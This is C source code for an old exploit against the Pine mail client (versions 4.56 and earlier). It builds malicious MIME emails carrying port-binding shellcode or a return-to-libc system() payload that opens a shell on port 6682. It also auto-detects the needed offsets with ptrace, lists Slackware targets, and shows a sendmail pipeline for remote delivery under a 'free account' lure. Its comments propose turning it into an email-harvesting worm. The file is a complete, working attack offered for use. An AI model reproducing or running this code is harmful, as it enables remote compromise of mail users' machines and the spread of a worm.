/* * Mon Sep 15 09:35:01 CEST 2003 * * (remote?) Pine <= 4.56 exploit * by sorbo (sorbox@yahoo.com) * http://www.darkircop.org * * Ok won't talk much about the bug since as usual idefense advisories * are *proper* advisories and explain everything... exploiting the bug * is trivial after reading the adv: * http://www.idefense.com/advisory/09.10.03.txt * thanx zen ;D * * There are two ways of doing this: * 1) standard shellcode * we don't need offset here because of nature of hole... * all we need is distance from a variable to eip which is quite fixed * it is not like we need an "offset somewhere in stack" * just a relative distance * * 2) ret to libc (should work on fbsd too) * this requires our command string somewhere in memory * we may use .bss (fixed) * we also need distance from variable to ebp (quite fixed) * and we need addr of system (fixed) * This is "own" grsec since we don't really run a shellcode * and directly overwrite eip * * In both method i said u need the dist from var -> eip/ebp * this can actually be "bruteforced" * I didn't show this since this is a PoC and uses "exact offsets" * All u do is supply multiple charsets and overwrite larger areas of memory * This makes method 1 100% successfull (or letys say 99.9%) * (nice for remote exploitation) * * Method 2 is "slightly harder" to bruteforce since u must NOT overwrite * eip... so u must "stop ur bruteforce ad ebp" somehow... but thats kinda * gay ;D * * With unfallable method one a worm can easily be done... * shellcode that listens and uploads worm... * and executes a grep \@ /var/spool/mail/bla or whatever to get emails * or pine addr book * * also for normal "owning" u can use reverse telnetd shellcode * so u just keep a server up and don't have to "wait" for person * to launch sploit * * Greetz: zen-parse (thanks for your patience (if im not in ur ignore ;D)) * non metto i soliti stronzi de merda nei greetz (tipo gunzip ;D) * e specialmente kuelle ke non me la danno ;D ahahah * * #areyoucrazy@ircnet * (most leet chan... fill it up with ur bots ;D) * * and last but not least... the world must know: s0lar TI AMO!!! * * * ok enough... hope this exp is lame enough i wanted to close my summer * vacation with it and proove the world i had nothing better to do =D * college is starting c ya * * to own remotely: ./sorpine -o 1 -t bla@bla.com | sendmail -t * * Enjoy have fun! * */ #include #include #include #include #include #include #include #include #include #include #include #define PINE "/usr/bin/pine" #define PLIST 50 /* a location buff-PLIST that is writable (.bss) */ /* port bind command ;D * from vi spawn a shell duh... * */ char *lame_cmd = "/usr/sbin/in.telnetd -L /usr/bin/vi -debug 6682 & /bin/killall -9 pine"; struct target_info { char desc[1024]; int method; /* 0 easy , 1 hard */ int dist; /* eip or ebp depending on method */ int buff; int sys; }; /* * notice to slackware maintainers: * sorry guyz.. its not that im against u * its that I only use slack =( * thats y all my exps only have slack targets ;D * keep up the good work =D * plus... its free advertisment for u! * */ struct target_info targets[] = { { "Slackware 9.0",0,300,0,0}, { "Slackware 9.0",1,296,0x083c8f15,0x0804aeda}, { "Slackware 8.1",0,284,0,0}, { "Slackware 8.1",1,280,0x0838e0d5,0x0804aeca}, { "Slackware 8.0",0,284,0,0}, { "Slackware 8.0",1,280,0x0836d875,0x0804a5ba} }; /* * Non usable chars in egg (sc and various addrs) * */ char nonusable[] = "\x09\x0a\x0d\x28\x29\x5c"; /* * lame (but working??) modification of sorshell * no setsockopt() =((( too long * portbinding shellcode with terminal support * (if whatever i said makes sense) * port 6682 * telnet ip 6682 * ^] * telnet> mode character * * funny how my ret to libc does the same thing and its 0 byte shellcode ;D * */ char shellcode[] = "\x31\xc9\xf7\xe1\xb0\x02\xcd\x80\x39\xc8\x74\x05\x31\xc0\x40\xcd\x80\x31" "\xc0\xb0\x06\x50\xb0\x01\x50\x89\xc3\x40\x50\xb0\x66\x89\xe1\xcd\x80\x89" "\xc2\x31\xdb\x53\x66\xb9\x1a\x1a\xc1\xe1\x10\xb1\x02\x51\x89\xe1\x6a\x10" "\x51\x52\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x52\x89\xe1\xb0\x66\xb3" "\x04\xcd\x80\x31\xc0\x50\x50\x52\x89\xe1\xb0\x66\x43\xcd\x80\x89\xc7\x89" "\xd3\x89\xc1\xb0\x06\x89\xc8\x31\xd2\x52\x68\x70\x74\x6d\x78\x68\x64\x65" "\x76\x2f\x68\x2f\x2f\x2f\x2f\x31\xc9\xb1\x02\x89\xe3\xb0\x05\xcd\x80\x89" "\xc6\x52\x89\xe2\xb9\x31\x54\x04\x40\x89\xf3\xb0\x36\xcd\x80\x89\xe2\xb9" "\x30\x54\x04\x80\xb0\x36\xcd\x80\x59\x83\xc1\x30\xc1\xe1\x18\xba\x01\x74" "\x73\x2f\xc1\xea\x08\x01\xca\x31\xc9\x51\x52\x31\xd2\x68\x65\x76\x2f\x70" "\x68\x2f\x2f\x2f\x64\xb1\x02\x89\xe3\xb0\x05\xcd\x80\x89\xc2\xb0\x02\xcd" "\x80\x31\xc9\x39\xc8\x75\x3f\xb0\x42\xcd\x80\xb1\x03\x31\xc0\x89\xd3\xb0" "\x3f\x49\xcd\x80\x41\xe2\xf8\x89\xd3\xb0\x06\xcd\x80\x89\xf3\xb0\x06\xcd" "\x80\x89\xfb\xb0\x06\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e" "\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x89\xd3" "\x31\xc0\xb0\x06\xcd\x80\x83\xec\x50\x31\xc9\xf7\xe1\x31\xdb\x89\xf9\x43" "\xd3\xe3\x01\xd8\x89\xf1\x31\xdb\x43\xd3\xe3\x01\xd8\x50\x89\xda\x89\xcb" "\x43\x89\xe1\x52\x57\x56\x31\xff\x31\xf6\x31\xc0\x99\xb0\x8e\xcd\x80\x5e" "\x5f\x5b\x58\x21\xd8\x31\xdb\x39\xc3\x75\x1b\xb2\x50\x89\xe1\x89\xfb\x31" "\xc0\xb0\x03\xcd\x80\x83\xf8\x01\x7c\x26\x89\xc2\x89\xf3\xb0\x04\xcd\x80" "\xeb\xad\xb2\x50\x89\xe1\x89\xf3\x31\xc0\xb0\x03\xcd\x80\x83\xf8\x01\x7c" "\x0b\x90\x89\xc2\x89\xfb\xb0\x04\xcd\x80\xeb\x91\x31\xc0\x40\xcd\x80"; /* cause a break and have a "test" number to check */ char testsc[] = "\xcc\x01\x02\x03\x04"; struct bss { int start; int end; }; char mail[6666]; /* this is basically the "egg" */ void die(int i, char *m) { if(i) perror(m); else printf("%s\n",m); exit(0); } /* * prepare boring part of email * */ void prepare_mail(char *from, char *sub, char *to) { snprintf(mail,sizeof(mail), "From: %s\n" "Subject: %s\n" "To: %s\n" "MIME-Version: 1.0\n" "Content-Type: multipart/related;\n" " type=\"multipart/alternative\";\n" " boundary=sorbo-rox\n\n" "--sorbo-rox\n",from,sub,to); } /* * ok here da tricky bit * arg: number of bytes (distance) * * it returns a positive unsigned int * that becomes negative when singed * that when *4 becomes signed * matching our distance * yeah kinda dirty... i hate numbers ;D * w00t * */ unsigned int num(int dist) { int tmp = -1-dist; unsigned int border = tmp; int neg = (border/4)*(-1); unsigned int res; res = 0xffffffff+neg; return res; } /* * ret-to-libc system() grsex 0wned * * we overwrite ebp * we control esp (heap) * we make stack perfect and make it ret to system * * * conditions plist must be writable (bss is ok) * we must know addr of ptr to our command (bss is fixed) * * NOTE: segfault after shell is NORMAL since it will return to plist addr * */ void own_hard(int sys, int plist, int cmd, int dist, char *command) { char egg[1024]; int *ptr = (int*)&egg[0]; *ptr = 0x41414141; /* ebp */ ptr++; *ptr = sys; /* system */ ptr++; *ptr = plist; /* ret / plist */ ptr++; *ptr = cmd; /* /bin/sh */ ptr++; *ptr = 0; /* practice: exploit this exploit =D */ sprintf(mail+strlen(mail), "Content-Type: message/external-body;\n" " access-type=\"%s\";\n" " charset*%u*=\"%s\";\n" "Content-Transfer-Encoding: 8bit\n" "--sorbo-rox--\n", command,num(dist), egg); } /* * we overwrite ret addr and own it * no offset needed since we control area pointer by ret directly * well we do need the stack distance from params to eip * */ void own_easy(int dist, char *s) { /* practice: exploit this exploit =D */ sprintf(mail+strlen(mail), "Content-Type: text/html;\n" " charset*%u*=\"%s\";\n" "Content-Transfer-Encoding: 8bit\n" "--sorbo-rox--\n", num(dist), s); } /* create a lame pinerc */ void pinerc() { int pid; pid = fork(); if(pid == -1) die(1,"fork()"); if(!pid) { char *arg[] = { "pine","-p","/tmp/pinerc", NULL }; close(1); close(2); execve(PINE,arg,NULL); die(1,"execve()"); } else { sleep(1); kill(pid,SIGKILL); wait(NULL); } if(system("grep -v inbox-path /tmp/pinerc > /tmp/o " "&& mv /tmp/o /tmp/pinerc && " "echo inbox-path=/tmp/meil >> /tmp/pinerc")<0) die(1,"system()"); } void write_mail(char *path) { FILE *f; f = fopen(path,"w"); if(!f) die(1,"fopen()"); if(fprintf(f,"From sorbo Tue Nov 29 00:00:00 1983\n%s",mail) < 1) die(1,"fprintf()"); fclose(f); } char *line; /* get a free tty */ int getty(int *master, int *slave) { if ((*master = open("/dev/ptmx", O_RDWR)) == -1) return -1; if (grantpt(*master) == -1 || unlockpt(*master) == -1 || (line = (char*)ptsname(*master)) == NULL || (*slave = open(line, O_RDWR)) == -1) { close(*master); return -1; } return 0; } /* fire up debugged process (and continue && wait) */ int start_debug(int cont) { int pid = fork(); int slave,master; /* we associate it to tty cuz ncurses fucks up screen */ if( getty(&master,&slave) == -1) die(0,"getty()"); if(pid == -1) die(1,"fork()"); /* child */ if(!pid) { char *arg[] = { "pine", "-p","/tmp/pinerc","-I", "l,>,>,<,<,q,y",NULL }; if(ptrace(PTRACE_TRACEME,NULL,NULL)==-1) die(1,"ptrace()"); if ((pid = open(line, O_RDWR)) == -1) die(1,"open()"); dup2(pid,0); close(1); close(2); execv(PINE,arg); die(1,"execve()"); } else { wait(NULL); if(cont) { if(ptrace(PTRACE_CONT,pid,0,0) == -1) die(1,"ptrace()"); wait(NULL); } } return pid; } void stop_debug(int pid) { if(ptrace(PTRACE_KILL,pid,0,0) == -1) die(1,"ptrace()"); wait(NULL); } /* * 0 = nope * 1 = yea * duh ;D * */ int test_dist() { struct user_regs_struct regs; int x; int pid = start_debug(1); if(ptrace(PTRACE_GETREGS,pid,NULL,®s)==-1) return 0; /* exited normally prolly */ // printf("EIP=%x\n",regs.eip); x = ptrace(PTRACE_PEEKTEXT,pid,regs.eip,NULL); if(x == -1 && errno != 0 && errno != EIO) die(1,"ptrace()"); // printf("INSTR=%x\n",x); stop_debug(pid); if(x == *((int*)&testsc[1])) return 1; return 0; } /* popen and get line */ char *getShit(char *cmd) { FILE *f; static char buff[1024]; f = popen(cmd,"r"); if(f == NULL) { perror("popen"); exit(0); } buff[0] = 0; fgets(buff,sizeof(buff),f); pclose(f); return &buff[0]; } /* get a number from a popen */ int getInt(char *p) { char *ptr = getShit(p); int ret = 0; if(sscanf(ptr,"%x",&ret)!=1) { printf("Error in getting addr\n"); exit(0); } return ret; } /* get start and end of bss */ struct bss getbss() { struct bss b; b.start = getInt("objdump --headers " PINE" | grep \" .bss\" | awk '{print $4}'"); b.end = getInt("objdump --headers " PINE" | grep \" .bss\" | awk '{print $3}'"); b.end += b.start; return b; } /* find our buff (command) in the process memory .bss */ int findbuf(int ebp) { struct bss b; int pid; int cmd = 0x12345678; int addr; int ret = -1; struct user_regs_struct regs; int x; b = getbss(); printf(".bss START =0x%.8x END=0x%.8x\n",b.start,b.end); prepare_mail("from","subj","to"); own_hard(0x41414141,b.start,b.start,ebp,(char*)&cmd); write_mail("/tmp/meil"); addr = b.start; pid = start_debug(1); if(ptrace(PTRACE_GETREGS,pid,NULL,®s)==-1) return -1; /* exited normally prolly */ // printf("EIP=%x\n",regs.eip); if(regs.eip != 0x41414141) return -1; for(addr = b.start; addr < b.end; addr++) { printf("Checking 0x%.8x\r",addr); fflush(stdout); x = ptrace(PTRACE_PEEKTEXT,pid,addr,NULL); if(x == -1 && errno != 0) die(1,"ptrace()"); if(x == cmd) { ret = addr; break; } } stop_debug(pid); putchar('\n'); return ret; } /* get system from libc */ int getSystem() { int base; int offset; char tmp[1024*2]; char libc[512]; /* binary specific */ base = getInt("ldd " PINE " | grep \"libc\\.\" | awk '{print $4}' | tr -d \"()\""); // printf("GLIBC base addr 0x%.8x\n",base); /* get libc path */ snprintf(libc,sizeof(libc),"%s",getShit("ldd " PINE " | grep \"libc\\.\" | awk '{print $3}'")); if(strlen(libc) <2) { printf("can't get libc location\n"); exit(0); } libc[strlen(libc)-1] = 0; /* lib specific */ snprintf(tmp,sizeof(tmp),"objdump -T %s | grep \\ system | " "awk '{print $1}' ",libc); offset = getInt(tmp); // printf("GLIBC __libc_system offset 0x%.8x\n",offset); offset += base; // printf("system() addr 0x%.8x\n",offset); return offset; } /* check if offset contains non usable chars */ int isUsable(int x) { int i,j; for(i = 0; i < sizeof(x); i++) for(j =0; j < sizeof(nonusable); j++) if( *(((unsigned char*)&x)+i) == nonusable[j]) return 0; return 1; } /* get various system offsets */ int *getSystemOffsets() { static int off[3]; int pid; int x; off[0] = getSystem(); off[1] = getInt("objdump -T "PINE" | grep system | awk '{print $1}'"); off[2] = getInt("objdump -R "PINE" | grep system | awk '{print $1}'"); pid = start_debug(0); x = ptrace(PTRACE_PEEKTEXT,pid,off[2],NULL); if(x == -1 && errno != 0) die(1,"ptrace()"); off[2] = x; stop_debug(pid); return &off[0]; } /* get target from local pine */ struct target_info getTarget() { struct target_info target; int *sysa; int i; char os[512]; /* get a description of target */ snprintf(os,sizeof(os),getShit("uname -sr | tr -d '\n'")); snprintf(target.desc,sizeof(target.desc),"%s Pine %s",os, getShit(PINE" -v | awk '{print $2}' | tr -d '\n'")); printf("Trying to own: %s\n",target.desc); pinerc(); /* find stack dist from params -> eip */ printf("Searching stack distance\n"); for(target.dist = 4; target.dist < 1024; target.dist+=4) { prepare_mail("from","subj","to"); own_easy(target.dist,testsc); write_mail("/tmp/meil"); printf("Testing target.dist %d\r",target.dist); fflush(stdout); if(test_dist()) break; } printf("\n"); if(target.dist == 1024) die(1,"Can't find dist"); printf("DIST=%d\n\n",target.dist); printf("Ok theoretically we can exploit it the easy way\n" "looking for hard way shit now\n\n"); /* find our buffer on bss ebp should b eip-4 */ target.buff = findbuf(target.dist-4); target.method = 0; if(target.buff != -1) { target.method = 1; if(!isUsable(target.buff) || !isUsable(target.buff-PLIST)) die(0,"TODO: addr not usuable... trivial to fix"); printf("Our command will lie in 0x%.8x\n\n",target.buff); /* find usable system() addr */ printf("Obtaining system() addr list\n"); sysa = getSystemOffsets(); for(i = 0; i < 3; i++) { int usable = isUsable(sysa[i]); printf("System %d:0x%.8x %s\n",i,sysa[i], usable?"OK":"NOT OK"); if(usable) target.sys = sysa[i]; } printf("Will use 0x%.8x\n\n",target.sys); } else printf("Unable to do things the hard way =(\n"); unlink("/tmp/pinerc"); unlink("/tmp/meil"); printf("Summary of targets for this system:\n" "{ \"%s\",0,%d,0,0},\n",target.desc,target.dist); if(target.method) printf("{ \"%s\",1,%d,0x%.8x,0x%.8x}\n", target.desc,target.dist-4,target.buff,target.sys); return target; } /* yeah kids luv this */ void skriptkiddie_s0lar() { char *mbox; FILE *f; struct target_info target; printf("O shit... is it s0lar running this exp again?\n" "not even a -h? ok lets make her happy and make everyhing magically work\n" "WARNING: need write axx on /tmp and use of gdb (no grsec high)\n\n"); target = getTarget(); mbox = (char*)getenv("MAIL"); if(!mbox) die(0,"getenv()"); printf("Attempting to write mails to %s\n",mbox); f = fopen(mbox,"a"); if(!f) die(1,"fopen()"); /* first mail (easy) */ prepare_mail("Andrei Koymaski ", "Easy method portbind 6682","Gustavo Lamazza "); own_easy(target.dist,shellcode); if(fprintf(f,"From sorbo Tue Nov 29 00:00:00 1983\n%s\n",mail)<1) die(1,"fprintf()"); /* second mail (hard) * we run vi and then * :!/bin/sh * cuz we don't have enough space to make a bindshell and shit */ if(target.method) { prepare_mail("Osama Bin Laden ", "Hard method (owns grsec) portbind 6682 with vi... spawn shell from vi", "George Bush "); own_hard(target.sys,target.buff-PLIST,target.buff, target.dist-4, lame_cmd); if(fprintf(f,"From sorbo Tue Nov 29 00:00:00 1983\n%s\n",mail)<1) die(1,"fprintf()"); } printf("You should have mail... read with pine and see if this" " crap worx\n"); printf("Enjoy.... s0lar ti amo\n"); exit(0); } void listTargets() { int i; printf( "Id\tDescription\tMethod\tDist\tBuff\t\tsystem()\n" "========================================================================\n"); for(i =0; i < sizeof(targets)/sizeof(struct target_info); i++) { printf("%d\t%s\t%s\t%d\t0x%.8x\t0x%.8x\n", i,targets[i].desc,targets[i].method?"hard":"easy", targets[i].dist,targets[i].buff,targets[i].sys); } } /* own a target */ void own(struct target_info t,char *from,char *sub,char *to) { prepare_mail(from,sub,to); /* hard */ switch(t.method) { case 1: own_hard(t.sys,t.buff-PLIST,t.buff,t.dist,lame_cmd); break; case 0: own_easy(t.dist,shellcode); break; default: die(0,"Unknown ownage method"); } printf("%s",mail); } void usage(char *m) { printf("Usage: %s \n" "-h\tthis lame message\n" "-f\tfrom\n" "-t\tto\n" "-s\tsub\n" "-o\ttarget\n" "-m\tmethod 0:easy 1:hard(grsex)\n" "-d\tdist\n" "-b\tbuff\n" "-l\tsystem\n\n" ,m); listTargets(); } int main(int argc, char *argv[]) { char from[512]; char to[512]; char sub[512]; int opt; struct target_info t; struct target_info *target = &t; /* we shall own this */ strcpy(from,"Justin Time "); strcpy(to,"You "); strcpy(sub,"You are selected! Come get your FREE playboy.com account"); t.method = -1; t.buff = 0; t.sys = 0; t.dist = 0; fprintf(stderr,"(remote?) Pine <= 4.56 exploit " "by sorbo (sorbox@yahoo.com)\np.s. grsec won't save you =(\n\n"); if(argc<2) skriptkiddie_s0lar(); while( (opt = getopt(argc,argv,"hf:t:s:o:m:d:b:l:")) != -1) { switch(opt) { default: case 'h': usage(argv[0]); exit(0); case 'm': t.method = atoi(optarg); break; case 'd': t.dist = atoi(optarg); break; case 'b': if(sscanf(optarg,"%x",&t.buff) != 1) die(0,"Can't parse buff addr"); break; case 'l': if(sscanf(optarg,"%x",&t.sys) != 1) die(0,"Can't parse sys addr"); break; case 'f': /* does snprintf put the 0 at end if arg * barely fits ? i never really looked into * this... hope it does! ;D */ snprintf(from,sizeof(from),"%s",optarg); break; case 't': snprintf(to,sizeof(to),"%s",optarg); break; case 's': snprintf(sub,sizeof(sub),"%s",optarg); break; case 'o': { unsigned int o = atoi(optarg); if(o >= sizeof(targets)/sizeof(struct target_info)) die(0,"Target outta range"); target = &targets[o]; break; } } } /* check if we got all we need */ if(target == &t) { if(!t.dist) die(0,"provide dist"); if(t.method == 1) if(!t.buff || !t.sys) die(0,"buff or sys not provided"); } /* go for it */ own(*target,from,sub,to); exit(0); }